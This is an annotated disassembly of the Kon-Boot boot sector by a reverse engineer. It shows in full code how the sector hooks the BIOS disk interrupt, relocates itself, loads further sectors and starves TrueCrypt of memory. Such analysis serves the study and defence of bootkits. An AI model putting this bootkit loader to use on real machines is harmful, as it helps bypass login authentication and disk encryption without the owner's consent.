
; Kon-B00t Boot Sector

; reverse engineering done by Peter Kleissner


; code will be executed from 0000h:7C00h
org 0000h:7C00h


; do the usual initialization of the processors registers
00000000  FA                cli
00000001  33C0              xor ax,ax
00000003  8ED0              mov ss,ax
00000005  8ED8              mov ds,ax
00000007  8EC0              mov es,ax

; set the stack to 0000h:7C00h
00000009  B8007C            mov ax,0x7c00
0000000C  8BE0              mov sp,ax

; jump to segment 0000h
0000000E  68007C            push word 0x7c00                                    ; initial start address
00000011  1E                push ds                                             ; cs = 0000h
00000012  68167C            push word Initial_Code_Start                        ; ip = 7C16h
00000015  CB                retf

Initial_Code_Start:
00000016  FB                sti                                                 ; reactivate interrupts
00000017  1E                push ds                                             ; segment = 0000h
00000018  50                push ax                                             ; offset = 0000h
00000019  8816EA7C          mov [Store_Drive +1],dl                             ; remember the boot drive
0000001D  E83800            call word Execute_VGA_Code

; allocate 5 KB from the end of memory and relocate
00000020  832E130405        sub word [0x413],byte 5                             ; using "base memory size in KB" of BIOS Data Area (0040h:0013h)               
00000025  A11304            mov ax,[0x413]                                      ; get the new memory address
00000028  C1E006            shl ax,6                                            ; * 64 = * 1024 / 16  (= segment address)
0000002B  8EC0              mov es,ax                                           ; of course es will point to the memory

; read 9 sectors from logical sector 1 to the newly allocated memory
0000002D  B80902            mov ax,0x209                                        ; Function 02h = "Read Sector[s]", 9 sectors to read
00000030  33C9              xor cx,cx                                           ; Cylinder Number = 0
00000032  32F6              xor dh,dh                                           ; first floppy drive (you can't use it in your second :D)
00000034  8BD9              mov bx,cx                                           ; es:bx -> transfer buffer
00000036  83C102            add cx,byte +0x2                                    ; Sector Number = 2   (= second sector)
00000039  CD13              int 0x13                                            ; read!
0000003B  725F              jc Error_Handler                                    ; if any error occurs notify the user

; backup original interrupt 13h vector
0000003D  A14E00            mov ax,[4*13h + 2]                                  ; segment of Interrupt 13h handler
00000040  26A30400          mov [es:0x4],ax                                     ;   store into the read sectors
00000044  A14C00            mov ax,[4*13h + 0]                                  ; offset of Interrupt 13h handler
00000047  26A30200          mov [es:0x2],ax                                     ;   store into the read sectors

; install interrutp 13h hook
0000004B  B85B00            mov ax,0x5B                                         ; code will start at offset 5Bh
0000004E  8C064E00          mov [4*13h + 2],es                                  ; int 13h segment = 0000h
00000052  A34C00            mov [4*13h + 0],ax                                  ; int 13h segment = 005Bh

; jump to the relocated code
00000055  06                push es                                             ; cs = 9XXXh
00000056  53                push bx                                             ; ip = 0000h
00000057  CB                retf



Execute_VGA_Code:

; executes 2 sectors from sector 8Ah and passes it 128 sectors of data

; store register contents (that will be later modified)
00000058  06                push es
00000059  1E                push ds
0000005A  60                pushaw

; read 2 sectors from sector 138 to address 0000h:2C00h
0000005B  B88A00            mov ax,0x8A                                         ; from sector 8Ah
0000005E  B90200            mov cx,0x2                                          ; 2 sectors
00000061  BB002C            mov bx,0x2C00                                       ; 0000h:2C00h
00000064  E85B00            call word Read_Sectors_LoopyLoop

; allocate 65 KB, so TrueCrypt will never have enough memory :)
00000067  832E130441        sub word [0x413],65                                 ; again using MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES
0000006C  A11304            mov ax,[0x413]                                      ; get the base address
0000006F  C1E006            shl ax,0x6                                          ; calculating the segment address (* 1024 / 16)
00000072  8EC0              mov es,ax                                           ; es and ds will point to the new allocated memory
00000074  8ED8              mov ds,ax

; read 126 sectors from sector 13 to offset 0000h
00000076  B80D00            mov ax,13                                           ; sector number 13
00000079  33DB              xor bx,bx                                           ; offset 0000h to memory of allocated 41 KB
0000007B  B97E00            mov cx,7Eh                                          ; 126 sectors
0000007E  E84100            call word Read_Sectors_LoopyLoop                    ; read!

; read 2 sectors from sector 11 and append them to the read contents
00000081  B80B00            mov ax,11                                           ; sector number 11
00000084  BB00FC            mov bx,126 * 512                                    ; append them
00000087  B90200            mov cx,2                                            ; 2 sectors
0000008A  E83500            call word Read_Sectors_LoopyLoop                    ; read!

; es:bx = 9XXXh:0000h, 65 KB allocated memory & 128 sectors read in there, data
; 0000h:2C00h contains the code (2 sectors read)
0000008D  6A00              push byte +0x0                                      ; segment = 0000h
0000008F  68002C            push word 0x2c00                                    ; offset = 2C00h
00000092  CB                retf                                                ; call that code

; remove the allocated 65 KB data
00000093  8306130441        add word [0x413],byte +0x41                         ; no longer used, no longer required

; restore the register contents
00000098  61                popaw
00000099  1F                pop ds
0000009A  07                pop es

0000009B  C3                ret



Error_Handler:

; display "Err" on the screen
0000009C  6800B8            push word 0xb800                                    ; segment B800h = Textmode Buffer
0000009F  07                pop es                                              ; -> access over es
000000A0  B08E              mov al,0x8E                                         ; set the character color to use  
000000A2  26C606000045      mov byte [es:0x0],0x45                              ; display 'E'
000000A8  26A20100          mov [es:0x1],al                                     ;   (character color)
000000AC  26C606020072      mov byte [es:0x2],0x72                              ; display 'r'
000000B2  26A20300          mov [es:0x3],al                                     ;   (character color)
000000B6  26C606040072      mov byte [es:0x4],0x72                              ; display 'r'
000000BC  26A20500          mov [es:0x5],al                                     ;   (character color)

Endless_loop:                                                                   ; note by PK:
000000C0  EBFE              jmp short Endless_loop                              ; use cli, hlt, no onse uses endless loops



Read_Sectors_LoopyLoop:

; ax = logical sector number
; cx = sector count
; es:bx = sector buffer

; read sector for sector
000000C2  E80900            call word Read_CHS_Sectors                          ; read one sector of it
000000C5  81C30002          add bx,512                                          ; seek in the buffer to the next sector
000000C9  40                inc ax                                              ; -> next sector
000000CA  49                dec cx                                              ; repeat cx times
000000CB  75F5              jnz Read_Sectors_LoopyLoop

000000CD  C3                ret



Read_CHS_Sectors:                                                               ; this code is more old than I am

; ax = logical sector number

000000CE  60                pushaw                                              ; store register contents

000000CF  33D2              xor dx,dx                                           ; dx:ax / 36
000000D1  B124              mov cl,36                                           ; 36 sectors per track?
000000D3  48                dec ax                                              ; -1 to get correct sector number
000000D4  F6F1              div cl                                              ; => Sector Number / Sectors per Track = Cylinder Number
000000D6  8AE8              mov ch,al                                           ; store the cylinder numer in ch
000000D8  80FC12            cmp ah,18                                           ; on head 1/2?
000000DB  7205              jc Read_CHS_Sectors_SetHead                         ; if ah > 18 then head 1
000000DD  FEC6              inc dh                                              ; head +1
000000DF  80EC12            sub ah,18                                           ;   and -18 because of using the next head UGLY UGLY UGLY
Read_CHS_Sectors_SetHead:
000000E2  8ACC              mov cl,ah                                           ; use the correct sector number
000000E4  FEC1              inc cl                                              ; sector number, starting from 1
000000E6  B80102            mov ax,0x201                                        ; Function 02h = "Read Sector[s]", 1 sector to read

Store_Drive:
000000E9  B212              mov dl,0x12                                         ; the correct BIOS driver number will be patched at runtime
000000EB  F9                stc
000000EC  CD13              int 0x13                                            ; read the sectors!
000000EE  72AC              jc Error_Handler                                    ; if any error occurs notify the user
000000F0  FB                sti
000000F1  61                popaw                                               ; restore register contents and return

000000F2  C3                ret



; fill with nops
times 510-($-$$) db 90h

Boot_Signature  dw      0AA55h
